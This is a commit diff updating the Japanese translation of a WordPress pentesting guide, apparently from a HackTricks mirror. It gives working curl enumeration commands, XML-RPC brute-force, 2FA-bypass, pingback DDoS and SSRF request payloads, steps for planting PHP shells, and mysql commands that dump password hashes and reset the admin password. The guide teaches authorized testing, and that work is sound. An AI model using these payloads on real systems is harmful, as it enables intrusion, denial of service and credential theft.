mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/welcome/hacktricks-values-and-faq.md', 'src/network
This commit is contained in:
parent
8e07022e19
commit
f5a4c249a4
@ -4,49 +4,49 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** したがってテーマの php を変更して RCE を得る場合はおそらくそのパスを使用します。例えば:**theme twentytwelve** を使用している場合、次の **404.php** ファイルに **アクセス** できます: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Uploaded** ファイルは次の場所に保存されます: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** そのためテーマの php を変更して RCE を得たい場合、おそらくこのパスを使用します。例えば、**theme twentytwelve** を使用すると、次の場所の **404.php** ファイルに **アクセス** できます: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- In **wp-config.php** you can find the root password of the database.
|
||||
- 確認すべきデフォルトのログインパス: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- `wp-config.php` にはデータベースのルートパスワードが含まれていることがあります。
|
||||
- チェックすべきデフォルトのログインパス: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Main WordPress Files**
|
||||
### **主な WordPress ファイル**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` にはインストールされている WordPress のバージョンなど有用な情報が含まれています。
|
||||
- `wp-activate.php` は新しい WordPress サイトをセットアップする際のメール認証プロセスに使用されます。
|
||||
- Login folders (may be renamed to hide it):
|
||||
- `license.txt` にはインストールされている WordPress のバージョンなど、有用な情報が含まれます。
|
||||
- `wp-activate.php` は新しい WordPress サイトをセットアップする際のメール有効化プロセスに使用されます。
|
||||
- ログインフォルダ(隠すために名前が変更されている場合があります):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` は、HTTP をトランスポート機構、XML をエンコード機構として使用してデータを送受信する WordPress の機能を表すファイルです。この種の通信は WordPress の [REST API](https://developer.wordpress.org/rest-api/reference) によって置き換えられています。
|
||||
- `wp-content` フォルダはプラグインやテーマが格納される主要ディレクトリです。
|
||||
- `xmlrpc.php` は、HTTP をトランスポート機構、XML をエンコーディング機構としてデータを送受信できる WordPress の機能を表すファイルです。この種の通信は WordPress の [REST API](https://developer.wordpress.org/rest-api/reference) に置き換えられています。
|
||||
- `wp-content` フォルダはプラグインやテーマが格納される主要なディレクトリです。
|
||||
- `wp-content/uploads/` はプラットフォームにアップロードされたファイルが保存されるディレクトリです。
|
||||
- `wp-includes/` は証明書、フォント、JavaScript ファイル、ウィジェットなどのコアファイルが格納されるディレクトリです。
|
||||
- `wp-sitemap.xml` Wordpress のバージョン 5.5 以降では、Worpress はすべての公開投稿および公開でクエリ可能な投稿タイプとタクソノミーを含む sitemap XML ファイルを生成します。
|
||||
- `wp-sitemap.xml` WordPress 5.5 以降では、公開投稿や公開でクエリ可能な投稿タイプやタクソノミーを含む sitemap XML ファイルが生成されます。
|
||||
|
||||
**Post exploitation**
|
||||
|
||||
- `wp-config.php` ファイルには、データベース名、データベースホスト、ユーザー名とパスワード、認証キーとソルト、データベーステーブルのプレフィックスなど、WordPress がデータベースに接続するために必要な情報が含まれています。この設定ファイルは DEBUG モードを有効にするためにも使用でき、トラブルシューティング時に役立ちます。
|
||||
- `wp-config.php` ファイルには、WordPress がデータベースに接続するために必要なデータベース名、データベースホスト、ユーザー名とパスワード、認証キーおよびソルト、データベーステーブルのプレフィックスなどの情報が含まれます。この設定ファイルは DEBUG モードを有効にするためにも使用でき、トラブルシューティング時に役立ちます。
|
||||
|
||||
### ユーザー権限
|
||||
|
||||
- **Administrator**: 管理者
|
||||
- **Editor**: 編集者 — 自分と他人の投稿を公開および管理できる
|
||||
- **Author**: 投稿者 — 自分の投稿を公開および管理できる
|
||||
- **Contributor**: 寄稿者 — 投稿を作成および管理できるが公開はできない
|
||||
- **Subscriber**: 購読者 — 投稿を閲覧し、自分のプロフィールを編集できる
|
||||
- **Administrator**
|
||||
- **Editor**: 自分および他者の投稿を公開・管理できます
|
||||
- **Author**: 自分の投稿を公開・管理できます
|
||||
- **Contributor**: 投稿を書き管理できますが、公開することはできません
|
||||
- **Subscriber**: 投稿を閲覧し、自分のプロフィールを編集できます
|
||||
|
||||
## **パッシブ列挙**
|
||||
## **Passive Enumeration**
|
||||
|
||||
### **WordPress バージョンの取得**
|
||||
### **Get WordPress version**
|
||||
|
||||
`/license.txt` または `/readme.html` ファイルが見つかるか確認してください
|
||||
`/license.txt` または `/readme.html` ファイルが存在するか確認してください。
|
||||
|
||||
ページの **source code** 内(例: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
ページの **ソースコード** 内に(例: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
|
||||
- grep
|
||||
```bash
|
||||
@ -56,11 +56,11 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
.png>)
|
||||
|
||||
- CSS link files
|
||||
- CSS リンクファイル
|
||||
|
||||
.png>)
|
||||
|
||||
- JavaScript files
|
||||
- JavaScript ファイル
|
||||
|
||||
.png>)
|
||||
|
||||
@ -72,45 +72,50 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### バージョンを一般的に抽出する
|
||||
### 一般的なバージョンの抽出
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
```
|
||||
## アクティブな列挙
|
||||
## Active enumeration
|
||||
|
||||
### プラグインとテーマ
|
||||
### Plugins and Themes
|
||||
|
||||
おそらく、すべてのプラグインやテーマを見つけられないでしょう。すべてを発見するには、**能動的に Brute Force してプラグインとテーマのリストを探索する**必要があります(幸い、これらのリストを含む自動化ツールが存在します)。
|
||||
おそらくすべての Plugins and Themes を見つけることはできません。すべてを発見するには、**actively Brute Force a list of Plugins and Themes** を実行する必要があります(幸い、自動化ツールにこれらのリストが含まれている場合があります)。
|
||||
|
||||
### ユーザー
|
||||
### Users
|
||||
|
||||
- **ID Brute:** WordPressサイトのユーザーIDを Brute Forcing して有効なユーザーを取得します:
|
||||
- **ID Brute:** Brute Forcing により WordPress サイトの有効な users IDs を取得します:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
レスポンスが**200**または**30X**の場合、そのidは**有効**です。レスポンスが**400**の場合、そのidは**無効**です。
|
||||
レスポンスが **200** または **30X** の場合、その id は **有効** です。レスポンスが **400** の場合、その id は **無効** です。
|
||||
|
||||
- **wp-json:** ユーザー情報を取得するためにクエリしてみることもできます:
|
||||
- **wp-json:** ユーザーの情報を取得するためにクエリを投げてみてください:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
ユーザーに関するいくつかの情報を明らかにするもう一つの `/wp-json/` エンドポイントは次のとおりです:
|
||||
ユーザーに関する情報を明らかにする別の `/wp-json/` エンドポイントは次のとおりです:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Note that this endpoint only exposes users that have made a post. **Only information about the users that has this feature enable will be provided**.
|
||||
Note that this endpoint only exposes users that have made a post. **このエンドポイントは投稿を行ったユーザーのみを公開する点に注意してください。** **Only information about the users that has this feature enable will be provided**。
|
||||
|
||||
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
また、**/wp-json/wp/v2/pages** が IP アドレスを leak する可能性がある点にも注意してください。
|
||||
|
||||
- **Login username enumeration**: **`/wp-login.php`** にログインする際、**message** は **username が存在するかどうか** によって **異なります**。
|
||||
- **Login username enumeration**: When login in **`/wp-login.php`** the **message** is **different** is the indicated **username exists or not**.
|
||||
- **Login username enumeration**: **`/wp-login.php`** にログインする際、表示される **メッセージ** が **ユーザー名の存在有無で異なる**。
|
||||
|
||||
### XML-RPC
|
||||
|
||||
If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
|
||||
もし `xml-rpc.php` が有効であれば、credentials brute-force を実行したり、他のリソースに対して DoS を仕掛けるために利用したりできます。(例えば、このプロセスは [using this](https://github.com/relarizky/wpxploit) を使って自動化できます)。
|
||||
|
||||
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
有効か確認するには _**/xmlrpc.php**_ にアクセスして、次のリクエストを送ってください:
|
||||
|
||||
**Check**
|
||||
**確認**
|
||||
```html
|
||||
<methodCall>
|
||||
@ -120,9 +125,9 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
```
|
||||

|
||||
|
||||
**認証情報 Bruteforce**
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** または **`metaWeblog.getUsersBlogs`** は、認証情報をbrute-forceするために使用できるメソッドの一部です。もしそれらのいずれかを見つけたら、次のようなものを送信できます:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** または **`metaWeblog.getUsersBlogs`** は、brute-force credentials に使用できるメソッドのいくつかです。これらのいずれかを見つけた場合、次のようなものを送信できます:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -132,13 +137,13 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
認証情報が無効な場合、200コードのレスポンス内に _"ユーザー名またはパスワードが正しくありません"_ というメッセージが表示されるはずです。
|
||||
認証情報が有効でない場合、200コードのレスポンス内にある_"Incorrect username or password"_というメッセージが表示されるはずです。
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
正しい認証情報を使用するとファイルをアップロードできます。レスポンスにはパスが表示されます ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
正しい認証情報を使用すると、ファイルをアップロードできます。レスポンスにはパスが表示されます ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -168,18 +173,18 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
また、同じリクエスト内で複数の資格情報を試せるため、**より速い方法**として **`system.multicall`** を使って資格情報をブルートフォースできます:
|
||||
また、同じリクエストで複数の資格情報を試せるので、**より速い方法**での brute-force に **`system.multicall`** を使用できます:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2FA を回避**
|
||||
**Bypass 2FA**
|
||||
|
||||
このメソッドは人間向けではなくプログラム向けであり古いため、2FA をサポートしていません。したがって、有効な creds を持っていてメインの入口が 2FA で保護されている場合でも、**xmlrpc.php を悪用してそれらの creds で 2FA を回避してログインできる可能性があります**。コンソールから実行できるすべての操作が行えるわけではない点に注意してくださいが、Ippsec が [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) で説明しているように、RCE に到達できる場合もあります。
|
||||
このメソッドはプログラム向けで人間向けではなく古いため、2FA をサポートしていません。したがって、有効な creds を持っているがメインの入口が 2FA によって保護されている場合、**xmlrpc.php を悪用してその creds で 2FA をバイパスしてログインできる可能性があります**。コンソールから行えるすべての操作ができるわけではない点に注意してくださいが、Ippsec が [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) で説明しているように RCE に到達できる場合があります。
|
||||
|
||||
**DDoS or port scanning**
|
||||
|
||||
リスト内に _**pingback.ping**_ が見つかれば、Wordpress に任意のホスト/ポートへリクエストを送らせることができます。\
|
||||
これは、**何千もの** Wordpress **サイト** に一つの **場所** へ **アクセス** させ(その場所で **DDoS** を引き起こす)、または任意のポートを指定して Wordpress に内部 **ネットワーク** を **スキャン** させる用途に使えます。
|
||||
これを利用して、**数千**の Wordpress **サイト**に一つの **場所** へ **アクセス** させ(その場所で **DDoS** が発生します)、あるいは Wordpress に内部 **ネットワーク** を **スキャン** させることもできます(任意のポートを指定可能です)。
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -191,9 +196,9 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
```
|
||||

|
||||
|
||||
**faultCode** の値が **0**(17)より **大きい** 場合、そのポートは開いています。
|
||||
**faultCode** の値が **0**(17)より **大きい** 場合、そのポートは開いていることを意味します。
|
||||
|
||||
前のセクションでの **`system.multicall`** の使用例を参照して、このメソッドを悪用して DDoS を引き起こす方法を学んでください。
|
||||
前のセクションでの **`system.multicall`** の使用例を確認し、このメソッドを悪用してDDoSを引き起こす方法を学んでください。
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -209,17 +214,17 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
|
||||
### wp-cron.php DoS
|
||||
|
||||
このファイルは通常Wordpressサイトのルートに存在します: **`/wp-cron.php`**\
|
||||
このファイルに**accessed**されると、"heavy" な MySQL **query** が実行されるため、attackers によって DoS を **cause** するために利用される可能性があります。\
|
||||
また、デフォルトでは `wp-cron.php` は各ページロード時(クライアントが任意の Wordpress ページを要求するたび)に呼び出されるため、トラフィックが多いサイトでは問題(DoS)を引き起こす可能性があります。
|
||||
このファイルは通常 Wordpress サイトのルートに存在します: **`/wp-cron.php`**\
|
||||
このファイルに**アクセス**されると、**重い** MySQL **query** が実行されるため、**attackers** によって **DoS** を **引き起こす** のに利用される可能性があります。\
|
||||
また、デフォルトでは `wp-cron.php` は各ページロード時(クライアントが Wordpress の任意のページを要求するたび)に呼び出されるため、トラフィックの多いサイトでは問題(DoS)を引き起こす可能性があります。
|
||||
|
||||
Wp-Cron を無効化し、ホスト内で必要な処理を定期的に実行する real cronjob を作成することが推奨されます(問題を引き起こさないように)。
|
||||
Wp-Cron を無効化し、ホスト内で定期的に必要な処理を行う real cronjob を作成することを推奨します(問題を引き起こさないように)。
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ にアクセスしてみると、Worpress site があなたにリクエストを送ってくるかもしれません。
|
||||
Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you.
|
||||
|
||||
動作しない場合のレスポンスは次の通りです:
|
||||
This is the response when it doesn't work:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -230,9 +235,9 @@ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt1
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
このツールは **methodName: pingback.ping** とパス **/wp-json/oembed/1.0/proxy** を確認し、存在する場合はそれらを exploit しようとします。
|
||||
このツールは **methodName: pingback.ping** とパス **/wp-json/oembed/1.0/proxy** が存在するかをチェックし、存在する場合はそれらを利用しようとします。
|
||||
|
||||
## 自動化ツール
|
||||
## 自動ツール
|
||||
```bash
|
||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
@ -240,120 +245,120 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## ビットを上書きしてアクセスを得る
|
||||
|
||||
実際の攻撃というより好奇心をそそる事例です。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では、任意の wordpress ファイルの1ビットを反転できました。つまり、ファイル `/var/www/html/wp-includes/user.php` の位置 `5389` のビットを反転して NOT (`!`) 演算を NOP にすることができます。
|
||||
実際の攻撃というより好奇心的な話です。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では任意の wordpress ファイルの1ビットを反転させることができました。例えばファイル `/var/www/html/wp-includes/user.php` の位置 `5389` のビットを反転させ、NOT (`!`) 演算を NOP 化することができます。
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Panel RCE**
|
||||
## **パネル RCE**
|
||||
|
||||
**使用されているテーマの php を修正する (admin credentials needed)**
|
||||
**テーマで使用されている php を変更する(管理者の認証情報が必要)**
|
||||
|
||||
Appearance → Theme Editor → 404 Template (右側)
|
||||
外観 → テーマエディター → 404 テンプレート(右側)
|
||||
|
||||
php shell の内容に変更する:
|
||||
php シェルの内容に変更する:
|
||||
|
||||
.png>)
|
||||
|
||||
更新したページへどうアクセスするかをインターネットで調べる。今回の場合アクセス先はここ: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
更新したページにどうアクセスするかをインターネットで調べてください。この場合、ここにアクセスします: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
使用例:
|
||||
使用できるもの:
|
||||
```bash
|
||||
use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
sessionを取得するために。
|
||||
セッションを取得するため。
|
||||
|
||||
## Plugin RCE
|
||||
|
||||
### PHP plugin
|
||||
|
||||
プラグインとして .php files をアップロードできることがあります。
|
||||
例えば次のように php backdoor を作成します:
|
||||
It may be possible to upload .php files as a plugin.\
|
||||
例えば次のようにphp backdoorを作成します:
|
||||
|
||||
.png>)
|
||||
|
||||
次に新しい plugin を追加します:
|
||||
次に新しいプラグインを追加します:
|
||||
|
||||
.png>)
|
||||
|
||||
plugin をアップロードし、Install Now を押します:
|
||||
プラグインをアップロードしてInstall Nowを押します:
|
||||
|
||||
.png>)
|
||||
|
||||
Procced をクリックします:
|
||||
「Procced」をクリック:
|
||||
|
||||
.png>)
|
||||
|
||||
おそらくこれだけでは何も起こらないように見えますが、Media に移動すると shell がアップロードされているのが確認できます:
|
||||
おそらく見た目には何も起きないことが多いですが、Mediaに移動するとアップロードされたshellが表示されます:
|
||||
|
||||
.png>)
|
||||
|
||||
それにアクセスすると reverse shell を実行するための URL が表示されます:
|
||||
それを開くと、reverse shellを実行するためのURLが表示されます:
|
||||
|
||||
.png>)
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
この方法は、脆弱であることが知られている悪意のある plugin をインストールし、web shell を取得するために悪用することを含みます。プロセスは WordPress dashboard から次のように行います:
|
||||
この方法は、脆弱であることが知られている悪意あるプラグインのインストールを伴い、web shellを取得するために悪用できます。このプロセスはWordPressのダッシュボードから次のように実行されます:
|
||||
|
||||
1. **Plugin Acquisition**: プラグインは Exploit DB のようなソースから取得します(例: [**here**](https://www.exploit-db.com/exploits/36374))。
|
||||
1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- WordPress dashboard に移動し、次に `Dashboard > Plugins > Upload Plugin` へ進みます。
|
||||
- ダウンロードしたプラグインの zip ファイルをアップロードします。
|
||||
3. **Plugin Activation**: プラグインが正常にインストールされたら、dashboard から有効化する必要があります。
|
||||
- WordPressのダッシュボードで `Dashboard > Plugins > Upload Plugin` に移動します。
|
||||
- ダウンロードしたプラグインのzipファイルをアップロードします。
|
||||
3. **Plugin Activation**: プラグインが正常にインストールされたら、ダッシュボードから有効化します。
|
||||
4. **Exploitation**:
|
||||
- plugin "reflex-gallery" がインストールされ有効化されている場合、脆弱であることが知られているため悪用できます。
|
||||
- Metasploit framework はこの脆弱性に対する exploit を提供しています。適切なモジュールをロードし特定のコマンドを実行することで meterpreter session を確立し、サイトへの不正アクセスを得ることができます。
|
||||
- これは WordPress サイトを悪用する多数の方法のひとつに過ぎないことに注意してください。
|
||||
- プラグイン "reflex-gallery" がインストール・有効化されていると、既知の脆弱性を悪用できます。
|
||||
- Metasploit framework はこの脆弱性用のexploitを提供します。適切なモジュールを読み込み、特定のコマンドを実行することで、meterpreterセッションを確立し、サイトへの不正アクセスが可能になります。
|
||||
- これはWordPressサイトを悪用する多数の方法のうちの一つに過ぎないことに注意してください。
|
||||
|
||||
内容には、プラグインのインストールおよび有効化手順を示す WordPress dashboard のビジュアルが含まれています。ただし、このように脆弱性を悪用することは、適切な許可なしには違法であり非倫理的であることに注意してください。この情報は責任を持って、明確な許可のあるペネトレーションテストなど合法的な文脈でのみ使用してください。
|
||||
コンテンツにはプラグインのインストールと有効化手順を示す視覚的な補助が含まれています。ただし、適切な許可なしにこのような方法で脆弱性を悪用することは違法であり非倫理的である点に注意してください。この情報は責任を持って、明確な許可のある penetration testing のような合法的な文脈でのみ使用してください。
|
||||
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ は WordPress の **Cross-Site Scripting (XSS)** 脆弱性を **Remote Code Execution (RCE)** やその他の重大な脆弱性にエスカレートするために設計されたスクリプトです。詳細は [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) を確認してください。Wordpress Versions 6.X.X, 5.X.X and 4.X.X をサポートし、次を可能にします:
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ は WordPress の **Cross-Site Scripting (XSS)** 脆弱性を **Remote Code Execution (RCE)** やその他の重大な脆弱性へエスカレーションするためのスクリプトです。詳しくは [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) を参照してください。**Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** をサポートし、次のことを可能にします:
|
||||
- _**Privilege Escalation:**_ WordPress にユーザーを作成します。
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ カスタム plugin (backdoor) を WordPress にアップロードします。
|
||||
- _**(RCE) Built-In Plugin Edit:**_ WordPress の組み込み plugin を編集します。
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ カスタムプラグイン(backdoor)を WordPress にアップロードします。
|
||||
- _**(RCE) Built-In Plugin Edit:**_ WordPress の組み込みプラグインを編集します。
|
||||
- _**(RCE) Built-In Theme Edit:**_ WordPress の組み込みテーマを編集します。
|
||||
- _**(Custom) Custom Exploits:**_ サードパーティ製 WordPress plugin/テーマ向けのカスタム Exploits。
|
||||
- _**(Custom) Custom Exploits:**_ サードパーティの WordPress プラグイン/テーマ向けのカスタムエクスプロイトを提供します。
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
ユーザー名とパスワードを抽出:
|
||||
ユーザー名とパスワードの抽出:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
admin のパスワードを変更:
|
||||
管理者のパスワードを変更する:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
## Wordpress Plugins Pentest
|
||||
|
||||
### 攻撃対象
|
||||
### Attack Surface
|
||||
|
||||
Wordpress プラグインがどのように機能を公開するかを把握することは、その機能に潜む脆弱性を見つける上で重要です。プラグインが機能を公開する方法は以下の箇条書きで確認でき、脆弱なプラグインの例はいくつか [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) にあります。
|
||||
Wordpress plugin がどのように機能を公開するかを把握することは、その機能の脆弱性を発見する上で重要です。プラグインが機能を公開する方法は以下の箇条書きに示してあり、脆弱なプラグインの例は [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) を参照してください。
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
プラグインが機能を公開する方法の一つに、AJAX ハンドラ経由のものがあります。これらはロジックや認可、認証のバグを含む可能性があります。さらに、これらの関数が認証と認可の両方を wordpress nonce の存在に基づいていることがよくあり、その nonce は **Wordpress インスタンスに認証された任意のユーザが持ち得る**(ロールに関係なく)点に注意が必要です。
|
||||
プラグインが機能を公開する方法のひとつが AJAX handlers 経由です。これらはロジックや認可、認証のバグを含む可能性があります。さらに、これらの関数が認証と認可の両方を wordpress nonce の存在に依存しているケースはかなり頻繁に見られます。その nonce は **Wordpress インスタンスに認証された任意のユーザーが持っている可能性がある**(役割に依らず)ためです。
|
||||
|
||||
これらはプラグイン内で関数を公開するために使われる関数です:
|
||||
これらはプラグイン内の関数を公開するために使用される関数です:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**`nopriv` の使用により、そのエンドポイントは任意のユーザ(認証されていないユーザでさえ)からアクセス可能になります。**
|
||||
**`nopriv` の使用はエンドポイントを任意のユーザー(未認証のユーザーを含む)からアクセス可能にします。**
|
||||
|
||||
> [!CAUTION]
|
||||
> さらに、もしその関数がユーザの権限を `wp_verify_nonce` で確認しているだけであれば、`wp_verify_nonce` は単にユーザがログインしていることを確認するだけで、通常はユーザのロールを確認しません。したがって権限の低いユーザが権限の高い操作にアクセスできる可能性があります。
|
||||
> さらに、関数が `wp_verify_nonce` でユーザーの認可のみをチェックしている場合、この関数は単にユーザーがログインしているかどうかを確認しているだけで、通常はユーザーのロールをチェックしません。そのため、権限の低いユーザーが高い権限を要する操作にアクセスできる可能性があります。
|
||||
|
||||
- **REST API**
|
||||
|
||||
また、`register_rest_route` 関数を使用して wordpress に rest AP を登録し、関数を公開することも可能です:
|
||||
wordpress から関数を公開するには、`register_rest_route` 関数を使って rest AP を登録することも可能です:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -363,21 +368,21 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
The `permission_callback` は、与えられたユーザーが API メソッドを呼び出す権限があるかをチェックするコールバック関数です。
|
||||
The `permission_callback` は、特定のユーザーが API メソッドを呼び出す権限があるかをチェックするコールバック関数です。
|
||||
|
||||
**組み込みの `__return_true` 関数が使われている場合、ユーザー権限チェックは単純にスキップされます。**
|
||||
**組み込みの `__return_true` 関数が使われている場合、ユーザー権限のチェックを単純にスキップします。**
|
||||
|
||||
- **PHP ファイルへの直接アクセス**
|
||||
- **php ファイルへの直接アクセス**
|
||||
|
||||
もちろん、Wordpress は PHP を使っており、プラグイン内のファイルはウェブから直接アクセス可能です。したがって、ファイルにアクセスするだけでトリガーされる脆弱な機能を公開しているプラグインは、任意のユーザーによって悪用され得ます。
|
||||
もちろん、Wordpress は PHP を使用しており、プラグイン内のファイルはウェブから直接アクセス可能です。したがって、プラグインがファイルへアクセスするだけで発動する脆弱な機能を公開している場合、任意のユーザーによって悪用され得ます。
|
||||
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
一部のプラグインは内部統合やリバースプロキシ向けに “trusted header” のショートカットを実装し、そのヘッダを使って REST リクエストの現在のユーザーコンテキストを設定します。上流コンポーネントによってヘッダが暗号学的にリクエストに紐付けられていない場合、攻撃者はそれを偽装して管理者として特権 REST ルートにアクセスできます。
|
||||
一部のプラグインは、内部統合やリバースプロキシ向けに「trusted header」のショートカットを実装し、そのヘッダーを REST リクエストの現在のユーザーコンテキスト設定に利用します。もしそのヘッダーが上流コンポーネントで暗号的にリクエストに結び付けられていなければ、攻撃者はそれを偽装して管理者として特権のある REST ルートにアクセスできます。
|
||||
|
||||
